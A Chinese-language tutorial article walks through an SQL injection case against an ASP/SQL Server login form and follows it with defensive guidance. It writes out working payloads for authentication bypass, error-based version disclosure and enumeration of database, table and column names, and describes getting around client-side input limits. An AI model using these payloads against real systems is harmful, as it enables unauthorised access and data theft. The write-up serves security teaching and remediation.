首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> MySQL 資料庫 >> MySQL 綜合教學

SQL 注入實戰復盤:從繞過登錄到獲取服務器完整權限的完整攻擊鏈

     編輯:MySQL 綜合教學

案例背景

某企業官網 (ASP + SQL Server) 存在 SQL 注入漏洞。項目經理稱「早知道,ASP 肯定有漏洞,換 ASP.NET 就沒事」,**這是極其危險的誤解:漏洞根源在於拼接 SQL,與語言/框架無關**。

攻擊面分析

登錄頁三字段:用戶名、密碼、公司名。前兩者有前端校驗,公司名無校驗。推測後端 SQL:

SELECT * FROM Users 
WHERE Username = 'input_user' 
  AND Password = 'input_pass' 
  AND CorpName = 'input_corp';

攻擊鏈完整復現

第一階段:繞過認證 (Tautology 注入)

Payload (公司名欄):** ' OR 1=1--

生成 SQL:**

SELECT * FROM Users 
WHERE Username = 'attacker' 
  AND Password = '' 
  AND CorpName = '' OR 1=1--';

結果:** 1=1 恆真,-- 註釋掉後續單引號,**任意輸入直接登錄成功**。

第二階段:利用報錯回顯獲取版本信息 (Error-based 注入)

Payload:** ' OR 1=(SELECT @@VERSION)--

生成 SQL:**

SELECT * FROM Users WHERE ... AND CorpName = '' OR 1=(SELECT @@VERSION)--';

報錯回顯:**

Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2008 (SP3) - 10.0.5500.0 (X64) ...' to data type int.

洩露:** 數據庫版本、操作系統版本、架構、補丁級別。**報錯頁面直接對用戶可見是嚴重配置錯誤。**

第三階段:枚舉數據庫結構 (Union/Subquery 注入)

獲取所有庫名:**

' OR 1=(SELECT TOP 1 name FROM master..sysdatabases WHERE name NOT IN (SELECT TOP 0 name FROM master..sysdatabases))--

報錯回顯第一個庫:master。遞增 TOP N 遍歷所有庫。

獲取目標庫表名 (以 master 為例):**

' OR 1=(SELECT TOP 1 name FROM master..sysobjects WHERE xtype='U' AND name NOT IN (SELECT TOP 1 name FROM master..sysobjects WHERE xtype='U'))--

報錯回顯:www_phpernote_article。遞增遍歷所有表。

獲取目標表列名:**

' OR 1=(SELECT TOP 1 master..syscolumns.name FROM master..syscolumns, master..sysobjects WHERE master..syscolumns.id=master..sysobjects.id AND master..sysobjects.name='www_phpernote_article')--

報錯回顯第一列:xserver_name。遞增遍歷所有列。

第四階段:竊取業務數據

掌握庫/表/列後,構造 Payload 直接查詢業務數據 (如管理員帳號密碼、用戶隱私)。**此處略過具體 Payload,防止被腳本小子濫用。**

客戶端繞過技巧

輸入框有 maxlength 限制 → **瀏覽器開發者工具 (F12) 直接修改 DOM 屬性或攔截請求修改 Body** → 客戶端校驗**形同虛設**。

防禦總結:四大鐵律

  1. 永遠不信任用戶輸入:所有外部輸入 (表單、URL、Header、Cookie、文件上傳) 均視為惡意。
  2. 參數化查詢 / 預處理語句:唯一根治方案。
    -- 錯誤 sql = "SELECT * FROM t WHERE name = '" + input + "'"
    -- 正確 cmd = "SELECT * FROM t WHERE name = @name"; cmd.Parameters.Add("@name", input);
  3. 最小權限原則:Web 應用連接數據庫賬號**僅擁有業務必需的增刪改查權限**,無 DROP, CREATE, xp_cmdshell 等高危權限。
  4. 統一錯誤處理,禁止詳細錯誤回顯給用戶:生產環境捕獲異常,記錄詳細日誌 (內部),用戶端僅顯示友好提示 (「系統繁忙,請稍後再試」)。

補充認知

  • 注入不限於表單:URL 參數 (id=1' OR 1=1--)、HTTP Header (User-Agent, X-Forwarded-For)、JSON/XML Body 同理。
  • 不限於報錯回顯:盲注 (Boolean-based, Time-based)、帶外注入 (DNS/OOB) 同樣可提數據,速度更快 (工具自動化)。
  • 語言/框架不免疫**:Java/JPA、Python/Django、PHP/PDO、Go/GORM、Node/Sequelize **若拼接 SQL 同樣會注入**。ORM 通常安全,但 Raw SQL/Execute 接口同樣危險。
  • 自動化掃描工具 (sqlmap, Havij, Burp Scanner) 分鐘級完成上述全流程,**手工測試只是驗證,防禦靠代碼規範**。

修復驗證清單

  1. 全站代碼掃描:搜索字符串拼接 SQL 關鍵字 (+, ., ||, CONCAT, fmt.Sprintf 等)。
  2. 所有動態 SQL 改寫為參數化查詢 / 預處理。
  3. 數據庫賬號權限收斂至最小集。
  4. Web Server / WAF 配置通用注入特徵阻攔 (作為第二道防線)。
  5. 錯誤頁面統一友好化,詳細錯誤僅記錄後端日誌。
  6. 定期滲透測試 / 代碼審計。
  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved